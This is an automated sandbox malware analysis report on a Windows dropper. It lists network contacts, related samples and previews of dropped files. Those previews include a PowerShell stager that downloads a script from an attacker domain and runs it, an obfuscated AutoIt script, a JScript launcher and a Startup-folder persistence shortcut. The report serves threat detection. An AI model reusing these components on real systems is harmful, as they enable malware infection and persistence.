        		high
        http://nuget.org/NuGet.exepowershell.exe, 00000004.00000002.1461161914.00000278C4E1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpfalse
          		high
          http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpfalse
            		high
            https://tiffany-careers.compowershell.exe, 00000004.00000002.1461161914.00000278C3657000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C4A55000.00000004.00000800.00020000.00000000.sdmptrue
            • Avira URL Cloud: safe
            		unknown
            http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000004.00000002.1461161914.00000278C4CD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000004.00000002.1461161914.00000278C4CD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpfalse
                		high
                https://go.micropowershell.exe, 00000004.00000002.1461161914.00000278C459C000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  https://contoso.com/powershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    https://nuget.org/nuget.exepowershell.exe, 00000004.00000002.1461161914.00000278C4E1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      https://contoso.com/Licensepowershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        https://contoso.com/Iconpowershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          https://oneget.orgXpowershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://aka.ms/pscore68powershell.exe, 00000004.00000002.1461161914.00000278C3431000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              https://www.autoitscript.com/autoit3/Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drfalse
                                		high
                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000004.00000002.1461161914.00000278C3431000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://tiffany-careers.compowershell.exe, 00000004.00000002.1461161914.00000278C4A5B000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://github.com/Pester/Pesterpowershell.exe, 00000004.00000002.1461161914.00000278C4CD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://oneget.orgpowershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high

                                      World Map of Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public IPs

                                      IPDomainCountryFlagASNASN NameMalicious
                                      147.45.49.155
                                      		tiffany-careers.comRussian Federation
                                      		2895FREE-NET-ASFREEnetEUfalse

                                      General Information

                                      Joe Sandbox version:41.0.0 Charoite
                                      Analysis ID:1581402
                                      Start date and time:2024-12-27 14:59:50 +01:00
                                      Joe Sandbox product:CloudBasic
                                      Overall analysis duration:0h 8m 49s
                                      Hypervisor based Inspection enabled:false
                                      Report type:full
                                      Cookbook file name:default.jbs
                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                      Number of analysed new started processes analysed:17
                                      Number of new started drivers analysed:0
                                      Number of existing processes analysed:0
                                      Number of existing drivers analysed:0
                                      Number of injected processes analysed:0
                                      Technologies:
                                      • HCA enabled
                                      • EGA enabled
                                      • AMSI enabled
                                      Analysis Mode:default
                                      Analysis stop reason:Timeout
                                      Sample name:TCKxnQ5CPn.exe
                                      renamed because original name is a hash value
                                      Original Sample Name:2a89603d2620b2a62113513709e38e95.exe
                                      Detection:MAL
                                      Classification:mal100.expl.evad.winEXE@15/12@3/1
                                      EGA Information:
                                      • Successful, ratio: 75%
                                      HCA Information:
                                      • Successful, ratio: 99%
                                      • Number of executed functions: 49
                                      • Number of non-executed functions: 253
                                      Cookbook Comments:
                                      • Found application associated with file extension: .exe

                                      Warnings

                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                      • Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
                                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
                                      • Execution Graph export aborted for target powershell.exe, PID 6848 because it is empty
                                      • Not all processes where analyzed, report is missing behavior information
                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                      • VT rate limit hit for: TCKxnQ5CPn.exe

                                      Simulations

                                      Behavior and APIs

                                      TimeTypeDescription
                                      09:00:45API Interceptor89x Sleep call for process: powershell.exe modified
                                      09:01:33API Interceptor2751x Sleep call for process: Guard.exe modified
                                      09:01:49API Interceptor1818x Sleep call for process: SwiftWrite.pif modified
                                      14:00:58AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

                                      Joe Sandbox View / Context

                                      IPs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      147.45.49.155R8CAg00Db8.lnkGet hashmaliciousUnknownBrowse
                                      • tiffany-careers.com/PefjSkkhb.exe
                                      s4PymYGgSh.lnkGet hashmaliciousUnknownBrowse
                                      • tiffany-careers.com/BFmcYQ.exe
                                      duyba.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                      • tiffany-careers.com/PefjSkkhb.exe

                                      Domains

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      tiffany-careers.comn5Szx8qsFB.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      nTyPEbq9wQ.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      7A2lfjTYNf.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      6fW0guYpsH.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      FzmtNV0vnG.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      lKin1m7Pf2.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      R4qP4YM0QX.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      R8CAg00Db8.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      s4PymYGgSh.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      duyba.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155

                                      ASNs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      FREE-NET-ASFREEnetEUgood.exeGet hashmaliciousPureLog Stealer, zgRATBrowse
                                      • 147.45.44.151
                                      n5Szx8qsFB.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      7ZAg3nl9Fu.exeGet hashmaliciousUnknownBrowse
                                      • 147.45.44.166
                                      7ZAg3nl9Fu.exeGet hashmaliciousUnknownBrowse
                                      • 147.45.44.166
                                      HOrW5twCLd.exeGet hashmaliciousXenoRATBrowse
                                      • 147.45.69.75
                                      cMTqzvmx9u.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, RedLineBrowse
                                      • 147.45.44.224
                                      qoqD1RxV0F.exeGet hashmaliciousLummaCBrowse
                                      • 147.45.44.131
                                      iviewers.dllGet hashmaliciousLummaCBrowse
                                      • 147.45.44.131
                                      Collapse.exeGet hashmaliciousLummaCBrowse
                                      • 147.45.47.81
                                      nTyPEbq9wQ.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155

                                      JA3 Fingerprints

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      3b5074b1b5d032e5620f69f9f700ff0eOiMp3TH.exeGet hashmaliciousLummaCBrowse
                                      • 147.45.49.155
                                      n5Szx8qsFB.lnkGet hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      A4FY1OA97K.lnkGet hashmaliciousDanaBotBrowse
                                      • 147.45.49.155
                                      vreFmptfUu.lnkGet hashmaliciousDanaBotBrowse
                                      • 147.45.49.155
                                      skript.batGet hashmaliciousVidarBrowse
                                      • 147.45.49.155
                                      msgde.exeGet hashmaliciousQuasarBrowse
                                      • 147.45.49.155
                                      6ee7HCp9cD.exeGet hashmaliciousQuasarBrowse
                                      • 147.45.49.155
                                      https://www.gglusa.us/Get hashmaliciousUnknownBrowse
                                      • 147.45.49.155
                                      ERTL09tA59.exeGet hashmaliciousLummaCBrowse
                                      • 147.45.49.155

                                      Dropped Files

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      C:\Users\Public\Guard.exen5Szx8qsFB.lnkGet hashmaliciousUnknownBrowse
                                        nTyPEbq9wQ.lnkGet hashmaliciousUnknownBrowse
                                          7A2lfjTYNf.lnkGet hashmaliciousUnknownBrowse
                                            6fW0guYpsH.lnkGet hashmaliciousUnknownBrowse
                                              FzmtNV0vnG.lnkGet hashmaliciousUnknownBrowse
                                                lKin1m7Pf2.lnkGet hashmaliciousUnknownBrowse
                                                  R4qP4YM0QX.lnkGet hashmaliciousUnknownBrowse
                                                    R8CAg00Db8.lnkGet hashmaliciousUnknownBrowse
                                                      s4PymYGgSh.lnkGet hashmaliciousUnknownBrowse
                                                        PkContent.exeGet hashmaliciousUnknownBrowse

                                                          Created / dropped Files

                                                          C:\Users\Public\Guard.exe

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):893608
                                                          Entropy (8bit):6.62028134425878
                                                          Encrypted:false
                                                          SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                                          MD5:18CE19B57F43CE0A5AF149C96AECC685
                                                          SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                                          SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                                          SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: ReversingLabs, Detection: 8%
                                                          Joe Sandbox View:
                                                          • Filename: n5Szx8qsFB.lnk, Detection: malicious, Browse
                                                          • Filename: nTyPEbq9wQ.lnk, Detection: malicious, Browse
                                                          • Filename: 7A2lfjTYNf.lnk, Detection: malicious, Browse
                                                          • Filename: 6fW0guYpsH.lnk, Detection: malicious, Browse
                                                          • Filename: FzmtNV0vnG.lnk, Detection: malicious, Browse
                                                          • Filename: lKin1m7Pf2.lnk, Detection: malicious, Browse
                                                          • Filename: R4qP4YM0QX.lnk, Detection: malicious, Browse
                                                          • Filename: R8CAg00Db8.lnk, Detection: malicious, Browse
                                                          • Filename: s4PymYGgSh.lnk, Detection: malicious, Browse
                                                          • Filename: PkContent.exe, Detection: malicious, Browse
                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                          C:\Users\Public\PublicProfile.ps1

                                                          Download File
                                                          Process:C:\Users\user\Desktop\TCKxnQ5CPn.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):493
                                                          Entropy (8bit):5.219373319007497
                                                          Encrypted:false
                                                          SSDEEP:12:fZ7xFEoFnV/9LBzFj0zUQbnRS6SxJMnCPTFM:fdxCknZ9LzjYnRSb8Cba
                                                          MD5:6A07686CA1D212167C47D753146E2147
                                                          SHA1:854DAFCBEAAB17DF65833F4B517E6A8132A5256C
                                                          SHA-256:76EC46EDAA320817BC6B5E13161B2F2A0F984061E4C94B5A06D88A00F563BE2A
                                                          SHA-512:F2F606B3303AD05303E4C0166D4F0F68C74FF71372F3A88CEA6DF515258A22970414421C408853D830B5F09B240C970BE4B30639B55CECA5DD868FFD4570C2C5
                                                          Malicious:true
                                                          Preview:[string]$fU5L = "https://tiffany-careers.com/ZxVMIVZIX.txt"..[string]$oF6L = "C:\Users\Public\Secure.au3"..[string]$exePath = "C:\Users\Public\Guard.exe"....# Download the content from the URL..$wResp = New-Object System.Net.WebClient..$fCont = $wResp.DownloadString($fU5L)....# Save the downloaded content to the output file..Set-Content -Path $oF6L -Value $fCont -Encoding UTF8....# Run the executable with the output file as an argument..Start-Process -FilePath $exePath -ArgumentList $oF6L

                                                          C:\Users\Public\Secure.au3

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
                                                          Category:dropped
                                                          Size (bytes):1149415
                                                          Entropy (8bit):5.199763656099886
                                                          Encrypted:false
                                                          SSDEEP:12288:28V+jcfSw6xHpcFTkUCroPzZsc2gmjoiVRS9CyaQZflhM8smx8/d:qcLkpcpLCrOzZTob5JAli1
                                                          MD5:83D3BBFFAED5F5FAD2D1C3750DCE9E97
                                                          SHA1:6C94B2ADDC358CFC5B0071727FA9B5FB5F4EFB88
                                                          SHA-256:9A23CA3C836B127A29112AC64B41072CF13B5C3FEA77E2A5B836514B21D7C95A
                                                          SHA-512:EE9EEF5CCB1FFB147D500D56C90B280790A661C72A38997C7B516370F2E6ACC9BD829DF9D9959C4AD3E21C5E810BD6816FFC1547D470B72C76F46F6593E3094C
                                                          Malicious:true
                                                          Preview:.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):64
                                                          Entropy (8bit):0.34726597513537405
                                                          Encrypted:false
                                                          SSDEEP:3:Nlll:Nll
                                                          MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                          SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                          SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                          SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                          Malicious:false
                                                          Preview:@...e...........................................................

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2n5zlyn3.ynz.ps1

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4b0vvr1d.tmg.psm1

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wroglscy.fim.ps1

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zucox5t1.nok.psm1

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\WordGenius Technologies\G

                                                          Download File
                                                          Process:C:\Users\Public\Guard.exe
                                                          File Type:ASCII text, with very long lines (1266)
                                                          Category:dropped
                                                          Size (bytes):1149412
                                                          Entropy (8bit):5.199720915817413
                                                          Encrypted:false
                                                          SSDEEP:12288:D8V+jcfSw6xHpcFTkUCroPzZsc2gmjoiVRS9CyaQZflhM8smx8/d:DcLkpcpLCrOzZTob5JAli1
                                                          MD5:871CCC978BDD281E863F3495FD632585
                                                          SHA1:A411AD4AA70904C07791EB70E98B63DCFD862711
                                                          SHA-256:3A08EBD5BEC10B61C51F4D647A7CFCA5F6197DF364E79F8450AF8E4502F1283B
                                                          SHA-512:094100D8A711F5386FF90734DDFA66CDE270CACF9E6E49438E13C4EFE92EF1A535ABEC200B05C2A1EB49DA6FF79CDF89036C971747D6C0E9E80078A51FF715A8
                                                          Malicious:false
                                                          Preview:Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]

                                                          C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

                                                          Download File
                                                          Process:C:\Users\Public\Guard.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):182
                                                          Entropy (8bit):4.728787503041443
                                                          Encrypted:false
                                                          SSDEEP:3:RiMIpGXfeNH5E5wWAX+PKMEkD5yKXW/Zi+0/RaMl85uWAX+PKMEkD5yKXW/Zi+oM:RiJbNHCwWDMkDrXW/Zz0tl8wWDMkDrXS
                                                          MD5:F3E27756AE384F28A50A26D42047C0C1
                                                          SHA1:76D4F4BF89EB6DD92C22ACC729A16996FCC42EC7
                                                          SHA-256:1954E6D6ED7E08C90CFF1BA567C85E15889B9098970DBE5F4979684CAD52130D
                                                          SHA-512:C3C157EBEAA16DCA88B3F615674B4474B5A668D2398838A3096C2AFCCE8DC817F46F0D11CEC9E8474410108A445C5F6453E10BE4E1F807E0589D1CB30B405E81
                                                          Malicious:true
                                                          Preview:new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")

                                                          C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

                                                          Download File
                                                          Process:C:\Users\Public\Guard.exe
                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):893608
                                                          Entropy (8bit):6.62028134425878
                                                          Encrypted:false
                                                          SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                                          MD5:18CE19B57F43CE0A5AF149C96AECC685
                                                          SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                                          SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                                          SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: ReversingLabs, Detection: 8%
                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                          File Type:MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):97
                                                          Entropy (8bit):4.913583050357082
                                                          Encrypted:false
                                                          SSDEEP:3:HRAbABGQaFyw3pYoqLTVSRE2J5yKXW/Zi+URAAy:HRYF5yjoqLTwi23yKXW/Zzyy
                                                          MD5:B196E358FC1F1A8683B763273B6F2FE2
                                                          SHA1:D494A69C3B14D95E86242085E57527472F30AEB1
                                                          SHA-256:DF5DE160AA2296D525325C499B8E46D179DFD669E4B1BC83324BC04162DF0754
                                                          SHA-512:4195E5CCA900C5199D9A726795EA0F4AB2BF19FAB8356AD83265EC66157657A23EE3680718DF56E624BFF60036696735714A64FE95872B9B47A55634F0F2C76B
                                                          Malicious:true
                                                          Preview:[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..

                                                          Static File Info

                                                          General

                                                          File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                          Entropy (8bit):6.30643452024023
                                                          TrID:
                                                          • Win64 Executable GUI (202006/5) 92.65%
                                                          • Win64 Executable (generic) (12005/4) 5.51%
                                                          • Generic Win/DOS Executable (2004/3) 0.92%
                                                          • DOS Executable Generic (2002/1) 0.92%
                                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                          File name:TCKxnQ5CPn.exe
                                                          File size:1'083'904 bytes
                                                          MD5:2a89603d2620b2a62113513709e38e95
                                                          SHA1:e82753848fbd2e4c993661a80ad11cca2fa73b77
                                                          SHA256:b52b0e15bcdc6b45a70fbf908381b1385b1a84bf6eb2bcfc35cb684b774021f7
                                                          SHA512:2ad57bcde8d647cf8c7da2fe563ed07f9f51e4d4a61397c459705c95d14ac0f48e95ae49126947bd4a7a8b7fc360a3a336a9bba41111cedda422faf508773e98
                                                          SSDEEP:24576:xrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvaI1M:x2EYTb8atv1orq+pEiSDTj1VyvBa6
                                                          TLSH:F2357C4973A4419DFEABE1B6CA23C607D6B17C490276861F01A47B767F337712A2E321
                                                          File Content Preview:MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG.....>PG......PG......PG.....*PG.y8B..PG.y8C.:PG.y8D.#PG."(..#PG."(..*PG."(...PG.+PF..RG..9I.{PG..9D.*PG..9..*PG

                                                          File Icon

                                                          Icon Hash:0fd88dc89ea7861b

                                                          Static PE Info

                                                          General

                                                          Entrypoint:0x14002549c
                                                          Entrypoint Section:.text
                                                          Digitally signed:false
                                                          Imagebase:0x140000000
                                                          Subsystem:windows gui
                                                          Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                          DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                          Time Stamp:0x676A8A01 [Tue Dec 24 10:16:33 2024 UTC]
                                                          TLS Callbacks:
                                                          CLR (.Net) Version:
                                                          OS Version Major:5
                                                          OS Version Minor:2
                                                          File Version Major:5
                                                          File Version Minor:2
                                                          Subsystem Version Major:5
                                                          Subsystem Version Minor:2
                                                          Import Hash:fadc5a257419d2541a6b13dfb5e311e2

                                                          Entrypoint Preview

                                                          Instruction
                                                          dec eax
                                                          sub esp, 28h
